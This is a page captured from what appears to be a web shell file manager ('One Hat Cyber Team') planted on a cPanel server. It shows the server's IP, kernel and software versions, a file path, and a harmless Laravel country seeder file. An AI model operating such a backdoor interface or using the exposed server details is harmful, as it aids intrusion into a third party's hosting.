⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.101
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Server Software:
Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
taxi.dev-unit.com
/
database
/
seeders
/
View File Name :
CountriesTableSeeder.php
<?php namespace Database\Seeders; use App\Models\Country; use Illuminate\Database\Seeder; class CountriesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // Empty the table $countries = Country::all(); // if(sizeof($countries)==0){ // Get all from the JSON file $JSON_countries = Country::allJSON(); foreach ($JSON_countries as $country) { $country = Country::firstOrCreate([ 'name' => ((isset($country['name'])) ? $country['name'] : null), 'dial_code' => ((isset($country['dial_code'])) ? $country['dial_code'] : null), 'code' => ((isset($country['iso_3166_2'])) ? $country['iso_3166_2'] : null), 'flag' => ((isset($country['flag'])) ? $country['flag'] : null), 'currency_name' => ((isset($country['currency'])) ? $country['currency'] : null), 'currency_code' => ((isset($country['currency_code'])) ? $country['currency_code'] : null), 'currency_symbol' => ((isset($country['currency_symbol'])) ? $country['currency_symbol'] : null), 'dial_min_length' => ((isset($country['minLength'])) ? $country['minLength'] : null), 'dial_max_length' => ((isset($country['maxLength'])) ? $country['maxLength'] : null), ]); } $country->countryTranslationDetail()->firstOrCreate([ 'name' => ((isset($country['name'])) ? $country['name'] : null), 'locale' => 'en', ]); // } } }